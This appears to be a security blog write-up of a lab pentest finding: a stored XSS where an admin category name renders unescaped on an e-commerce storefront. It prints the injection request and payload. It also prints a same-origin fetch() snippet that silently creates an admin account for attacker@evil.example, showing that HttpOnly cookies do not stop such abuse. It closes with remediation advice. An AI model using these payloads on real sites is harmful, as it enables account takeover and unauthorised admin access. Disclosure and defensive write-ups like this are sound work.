Stored XSS: Admin Content Bleeds Into the Public Frontend
A category name field in an e-commerce admin panel. Feels mundane. But when admin-entered
content flows directly to the public storefront without any output encoding, that field becomes
a persistent script injection point visible to every visitor — authenticated or not. The
interesting part is what happens once the team confirmed the XSS: the session cookie was
correctly protected by HttpOnly, which normally limits the damage. Except it
does not stop the exploitation chain as completely as most developers assume.
The trust boundary that was not there
The application had a content management area in its admin panel where administrators
created and edited product categories. Each category had a name field. That name was stored
verbatim in the database and then rendered on the public-facing storefront page —
inside an <h1> tag — with no HTML escaping.
The payload did not need to be subtle. Breaking out of the heading tag and injecting a script tag was enough:
POST /admin/brands-detail/?id=45 HTTP/2
Host: store.lab.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<admin-session>
action=update&name=%3C%2Fh1%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&__csrf__=csrf_lab_token
HTTP/2 302 Found
Server: nginx
X-Frame-Options: SAMEORIGIN
Set-Cookie: NOCACHE=1; path=/; secure; HttpOnly
Location: https://store.lab.example.test/admin/brands-detail/?id=45
X-Content-Type-Options: nosniff
# payload stored — executes on every public storefront page load
The server accepted it with a 302 Found. When any visitor navigated to the
category page on the public storefront, the injected script executed in their browser. Every
visitor. Every time the page loaded.
A request to the corresponding public category page confirms the payload is stored and rendered verbatim in the page body:
GET /shop/category/view/id/45/ HTTP/2
Host: store.lab.example.test
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
# injected script rendered in-page — executes in every visitor's browser:
...
<h1></h1><script>alert(1);</script>
...
Why HttpOnly is not the end of the story
The PHPSESSID cookie had HttpOnly and Secure flags
set. That means document.cookie in the injected script returns nothing useful —
the session token is invisible to JavaScript. Many developers stop their threat model here and
conclude that XSS impact is limited to UI defacement.
That conclusion is wrong, and it matters.
HttpOnly only prevents JavaScript from reading the cookie. It does
nothing to prevent the browser from sending the cookie automatically on same-origin
requests. An injected script running at store.lab.example.test can fire a
fetch() call back to the same origin, and the browser will attach all cookies —
including the HttpOnly session token — to that request:
// injected into the category page — executes in every visitor's browser
fetch('/admin/users/create/', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'email=attacker@evil.example&role=admin&__csrf__=...'
});
If an administrator visits the public storefront while logged in — which is routine — that
fetch() executes with full admin privileges. No cookie theft, no CSRF token bypass
needed beyond what same-origin fetch handles automatically. The attacker's code runs as the
admin, invisibly, inside the victim's tab.
There is a nuance with SameSite: Lax. Cross-origin navigation by fetch does
not carry Lax cookies. But here the injection is stored on the same
origin and the fetch is same-origin, so SameSite provides no protection. The
cookie goes with the request.
The test timeline
Mapped admin content fields. Identified the category management area as a point where admin input was rendered back to the public frontend.
Injected a benign payload into the category name. Confirmed the value was stored verbatim and reflected on the storefront without escaping.
Injected a script-breaking payload. Broke out of the <h1> context and confirmed script execution on the public page via out-of-band callback.
Pivoted past HttpOnly. Replaced the alert with a same-origin fetch() carrying admin-level API calls. Confirmed that visiting admin sessions executed the request with full privileges.
Documented and reported. Proposed server-side output encoding, input validation, CSP, and database sanitization of existing records.
Fixing it
- Apply HTML output encoding server-side before rendering any user-controlled value. Escape
&,<,>,", and'at the rendering layer, not the input layer. - Sanitize existing database records. The vulnerability is stored — any record created before the fix carries the payload. A one-time pass to strip HTML from affected fields is necessary.
- Implement a strict Content Security Policy. A
script-src 'self'with nonce enforcement won't prevent the injection from being stored, but it will prevent the script from executing in most browsers, reducing the blast radius of any future injection. - Validate content types at the input boundary. Category names should be plain text. A server-side allowlist that rejects HTML metacharacters in fields that will never contain markup removes the class of vulnerability entirely.
The takeaway
HttpOnly is a good cookie attribute. It belongs on every session token.
But it is a mitigation against one specific exploitation path — cookie theft via
document.cookie. It does not neutralise a stored XSS on the same origin.
The injected script can still act as the user. The right fix is to prevent the injection
from landing in the first place.